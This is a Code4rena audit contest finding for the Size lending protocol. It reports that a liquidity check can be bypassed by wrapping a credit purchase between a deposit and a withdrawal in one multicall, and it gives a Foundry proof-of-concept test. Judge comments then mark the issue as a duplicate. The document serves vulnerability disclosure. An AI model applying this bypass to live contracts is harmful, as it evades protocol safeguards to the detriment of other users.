code-423n4 / 2024-06-size-findings

0 stars 0 forks source link

The `validateVariablePoolHasEnoughLiquidity()` check can be bypassed, giving certain users an unfair advantage #198

Closed howlbot-integration[bot] closed 2 months ago

howlbot-integration[bot] commented 2 months ago

Lines of code

https://github.com/code-423n4/2024-06-size/blob/8850e25fb088898e9cf86f9be1c401ad155bea86/src/libraries/CapsLibrary.sol#L67-L72

Vulnerability details

Impact

The validateVariablePoolHasEnoughLiquidity() function in the CapsLibrary contract is used by buyCreditMarket(), sellCreditMarket(), and liquidateWithReplacement() to verify sufficient liquidity in AAVE for cash withdrawal.

However, this verification can be bypassed if a user sandwiches it with a deposit() transaction to increase liquidity before the check and a withdraw() transaction to remove the increased liquidity after the check. The multicall() function in the Size contract further facilitates this method of bypassing the validateVariablePoolHasEnoughLiquidity() check.

Users who know how to bypass the validateVariablePoolHasEnoughLiquidity() check would have an unfair advantage over those who do not. For example, during times of low liquidity in AAVE, those aware of the bypass can still perform large amounts of credit buying and selling, while others cannot.

Proof of Concept

// SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

import {Errors} from "@src/libraries/Errors.sol";
import {RESERVED_ID} from "@src/libraries/LoanLibrary.sol";
import {BuyCreditMarketParams} from "@src/libraries/actions/BuyCreditMarket.sol";
import {DepositParams} from "@src/libraries/actions/Deposit.sol";
import {WithdrawParams} from "@src/libraries/actions/Withdraw.sol";
import {BaseTest} from "@test/BaseTest.sol";

contract PoC is BaseTest {
    function setUp() public override {
        super.setUp();
        _labels();
    }

    function test_it() public {
        _deposit(alice, weth, 100e18);
        _deposit(bob, usdc, 100e6);
        deal(address(usdc), bob, 10e6);
        _deposit(candy, usdc, 100e6);
        deal(address(usdc), candy, 10e6);
        _sellCreditLimit(alice, 0.03e18, 365 days);

        // similate a low liquidity scenario
        deal(address(usdc), address(variablePool), 40e6);

        uint256 amount = 50e6;
        uint256 tenor = 365 days;

        // bob can not lend 50e6 cash to alice
        vm.startPrank(bob);
        vm.expectRevert(abi.encodeWithSelector(Errors.NOT_ENOUGH_BORROW_ATOKEN_LIQUIDITY.selector, 40e6, 50e6));
        size.buyCreditMarket(
            BuyCreditMarketParams({
                borrower: alice,
                creditPositionId: RESERVED_ID,
                tenor: tenor,
                amount: amount,
                exactAmountIn: true,
                deadline: block.timestamp,
                minAPR: 0
            })
        );
        vm.stopPrank();

        // Candy can lend 50e6 cash to alice, as she knows how to bypass `validateVariablePoolHasEnoughLiquidity`
        vm.startPrank(candy);
        usdc.approve(address(size), type(uint256).max);
        bytes[] memory data = new bytes[](3);
        data[0] = abi.encodeCall(size.deposit, (DepositParams(address(usdc), 10e6, candy)));
        data[1] = abi.encodeCall(
            size.buyCreditMarket,
            (
                BuyCreditMarketParams({
                    borrower: alice,
                    creditPositionId: RESERVED_ID,
                    tenor: tenor,
                    amount: amount,
                    exactAmountIn: true,
                    deadline: block.timestamp,
                    minAPR: 0
                })
            )
        );
        data[2] = abi.encodeCall(size.withdraw, (WithdrawParams(address(usdc), 10e6, candy)));
        size.multicall(data);
        vm.stopPrank();
    }
}

The above PoC shows that during times of low liquidity in Aave, the same buyCreditMarket transaction can only be successfully called by users who know how to bypass the validateVariablePoolHasEnoughLiquidity check.

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Consider removing the validateVariablePoolHasEnoughLiquidity() checks, as they can be easily bypassed by the users and potentially create unfairness amount the users.

Assessed type

Invalid Validation

aviggiano commented 2 months ago

Duplicate of #152

c4-sponsor commented 2 months ago

@aviggiano Sponsors can only use these labels: sponsor confirmed, sponsor disputed, sponsor acknowledged.

c4-judge commented 2 months ago

hansfriese marked the issue as duplicate of #152

c4-judge commented 2 months ago

hansfriese marked the issue as satisfactory